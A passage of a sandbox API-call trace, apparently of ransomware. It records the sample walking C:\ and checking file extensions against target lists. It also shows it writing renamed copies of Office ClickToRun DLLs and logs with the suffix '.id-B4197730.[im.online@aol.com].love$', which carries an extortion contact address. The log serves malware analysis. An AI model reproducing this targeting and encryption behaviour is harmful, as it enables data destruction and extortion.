dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.044] lstrlenW (lpString=".doc") returned 4 [0286.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.044] lstrlenW (lpString=".docx") returned 5 [0286.044] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0286.044] lstrlenW (lpString=".pdf") returned 4 [0286.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.044] lstrlenW (lpString=".xls") returned 4 [0286.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.044] lstrlenW (lpString=".xlsx") returned 5 [0286.044] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0286.044] lstrlenW (lpString=".ppt") returned 4 [0286.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.044] lstrlenW (lpString=".zip") returned 4 [0286.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.044] lstrlenW (lpString=".rar") returned 4 [0286.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.044] lstrlenW (lpString=".bz2") returned 4 [0286.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.044] lstrlenW (lpString=".7z") returned 3 [0286.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.045] lstrlenW (lpString=".dbf") returned 4 [0286.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.045] lstrlenW (lpString=".1cd") returned 4 [0286.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.045] lstrlenW (lpString=".jpg") returned 4 [0286.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.045] lstrlenW (lpString=".doc") returned 4 [0286.045] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.045] lstrlenW (lpString=".docx") returned 5 [0286.045] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0286.045] lstrlenW (lpString=".pdf") returned 4 [0286.045] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.045] lstrlenW (lpString=".xls") returned 4 [0286.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.045] lstrlenW (lpString=".xlsx") returned 5 [0286.045] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0286.045] lstrlenW (lpString=".ppt") returned 4 [0286.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.045] lstrlenW (lpString=".zip") returned 4 [0286.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.046] lstrlenW (lpString=".rar") returned 4 [0286.046] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.046] lstrlenW (lpString=".bz2") returned 4 [0286.046] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.046] lstrlenW (lpString=".7z") returned 3 [0286.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.046] lstrlenW (lpString=".dbf") returned 4 [0286.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.046] lstrlenW (lpString=".1cd") returned 4 [0286.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74 [0286.046] lstrlenW (lpString=".jpg") returned 4 [0286.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.047] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0286.047] lstrlenW (lpString="AppVOrchestration.dll") returned 21 [0286.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0286.048] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=947928) returned 1 [0286.048] CloseHandle (hObject=0x350) returned 1 [0286.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0286.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0286.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.048] lstrlenW (lpString=".doc") returned 4 [0286.048] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.048] lstrlenW (lpString=".docx") returned 5 [0286.048] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0286.048] lstrlenW (lpString=".pdf") returned 4 [0286.049] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.049] lstrlenW (lpString=".xls") returned 4 [0286.049] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.049] lstrlenW (lpString=".xlsx") returned 5 [0286.049] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0286.049] lstrlenW (lpString=".ppt") returned 4 [0286.049] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.049] lstrlenW (lpString=".zip") returned 4 [0286.049] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.049] lstrlenW (lpString=".rar") returned 4 [0286.049] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.049] lstrlenW (lpString=".bz2") returned 4 [0286.049] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.049] lstrlenW (lpString=".7z") returned 3 [0286.049] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.049] lstrlenW (lpString=".dbf") returned 4 [0286.049] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.049] lstrlenW (lpString=".1cd") returned 4 [0286.049] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.049] lstrlenW (lpString=".jpg") returned 4 [0286.049] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.050] lstrlenW (lpString=".doc") returned 4 [0286.050] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.050] lstrlenW (lpString=".docx") returned 5 [0286.050] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0286.050] lstrlenW (lpString=".pdf") returned 4 [0286.050] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.050] lstrlenW (lpString=".xls") returned 4 [0286.050] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.050] lstrlenW (lpString=".xlsx") returned 5 [0286.050] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0286.050] lstrlenW (lpString=".ppt") returned 4 [0286.050] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.050] lstrlenW (lpString=".zip") returned 4 [0286.050] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.050] lstrlenW (lpString=".rar") returned 4 [0286.050] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.050] lstrlenW (lpString=".bz2") returned 4 [0286.050] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.050] lstrlenW (lpString=".7z") returned 3 [0286.050] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.050] lstrlenW (lpString=".dbf") returned 4 [0286.050] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.051] lstrlenW (lpString=".1cd") returned 4 [0286.051] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79 [0286.051] lstrlenW (lpString=".jpg") returned 4 [0286.051] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.051] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0286.051] lstrlenW (lpString="AppVPolicy.dll") returned 14 [0286.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0286.052] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=1295576) returned 1 [0286.052] CloseHandle (hObject=0x350) returned 1 [0286.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0286.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0286.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.052] lstrlenW (lpString=".doc") returned 4 [0286.052] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.052] lstrlenW (lpString=".docx") returned 5 [0286.052] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0286.052] lstrlenW (lpString=".pdf") returned 4 [0286.052] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.052] lstrlenW (lpString=".xls") returned 4 [0286.053] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.053] lstrlenW (lpString=".xlsx") returned 5 [0286.053] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0286.053] lstrlenW (lpString=".ppt") returned 4 [0286.053] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.053] lstrlenW (lpString=".zip") returned 4 [0286.053] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.053] lstrlenW (lpString=".rar") returned 4 [0286.053] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.053] lstrlenW (lpString=".bz2") returned 4 [0286.053] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.053] lstrlenW (lpString=".7z") returned 3 [0286.053] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.053] lstrlenW (lpString=".dbf") returned 4 [0286.053] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.053] lstrlenW (lpString=".1cd") returned 4 [0286.053] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.053] lstrlenW (lpString=".jpg") returned 4 [0286.053] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.053] lstrlenW (lpString=".doc") returned 4 [0286.053] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.053] lstrlenW (lpString=".docx") returned 5 [0286.053] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0286.053] lstrlenW (lpString=".pdf") returned 4 [0286.054] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.054] lstrlenW (lpString=".xls") returned 4 [0286.054] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.054] lstrlenW (lpString=".xlsx") returned 5 [0286.054] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0286.054] lstrlenW (lpString=".ppt") returned 4 [0286.054] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.054] lstrlenW (lpString=".zip") returned 4 [0286.054] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.054] lstrlenW (lpString=".rar") returned 4 [0286.054] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.054] lstrlenW (lpString=".bz2") returned 4 [0286.054] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.054] lstrlenW (lpString=".7z") returned 3 [0286.054] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.054] lstrlenW (lpString=".dbf") returned 4 [0286.054] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.054] lstrlenW (lpString=".1cd") returned 4 [0286.054] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72 [0286.054] lstrlenW (lpString=".jpg") returned 4 [0286.054] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.055] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0286.055] lstrlenW (lpString="AppVScripting.dll") returned 17 [0286.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0286.056] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=512216) returned 1 [0286.056] CloseHandle (hObject=0x350) returned 1 [0286.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0286.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0286.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0286.056] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.056] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0286.058] GetLastError () returned 0x0 [0286.058] ReadFile (hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0) Thread: id = 104 os_tid = 0xd50 [0282.967] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x3d40930 [0282.967] lstrlenW (lpString="C:") returned 2 [0282.967] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x34bfcf8 | out: lpFindFileData=0x34bfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x543c90 [0282.968] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0282.968] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0282.968] lstrlenW (lpString="$GetCurrent") returned 11 [0282.968] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0282.968] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x3d50938 [0282.968] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0282.968] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x543fd0 [0282.969] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0282.969] FindNextFileW (in: hFindFile=0x543fd0, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0282.969] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0282.969] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0282.969] lstrlenW (lpString="Logs") returned 4 [0282.969] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0282.969] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x3d60940 [0282.969] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0282.969] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x543ed0 [0282.970] FindNextFileW (in: hFindFile=0x543ed0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.970] FindNextFileW (in: hFindFile=0x543ed0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3fafc2f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa3fafc2f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3fd5d27, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DOWNLE~1.LOV")) returned 1 [0282.971] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$") returned 75 [0282.971] lstrlenW (lpString=".1cd") returned 4 [0282.971] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0282.971] lstrlenW (lpString=".3ds") returned 4 [0282.971] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0282.971] lstrlenW (lpString=".3fr") returned 4 [0282.971] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0282.971] lstrlenW (lpString=".3g2") returned 4 [0282.971] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0282.971] lstrlenW (lpString=".3gp") returned 4 [0282.971] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0282.971] lstrlenW (lpString=".7z") returned 3 [0282.971] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0282.971] lstrlenW (lpString=".accda") returned 6 [0282.971] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0282.971] lstrlenW (lpString=".accdb") returned 6 [0282.971] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0282.971] lstrlenW (lpString=".accdc") returned 6 [0282.971] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0282.971] lstrlenW (lpString=".accde") returned 6 [0282.971] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0282.971] lstrlenW (lpString=".accdt") returned 6 [0282.971] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0282.971] lstrlenW (lpString=".accdw") returned 6 [0282.971] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0282.971] lstrlenW (lpString=".adb") returned 4 [0282.971] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".adp") returned 4 [0282.972] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".ai") returned 3 [0282.972] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0282.972] lstrlenW (lpString=".ai3") returned 4 [0282.972] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".ai4") returned 4 [0282.972] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".ai5") returned 4 [0282.972] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".ai6") returned 4 [0282.972] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".ai7") returned 4 [0282.972] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".ai8") returned 4 [0282.972] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0282.972] lstrlenW (lpString=".anim") returned 5 [0282.972] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0282.972] lstrlenW (lpString=".arw") returned 4 [0282.972] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0282.973] lstrlenW 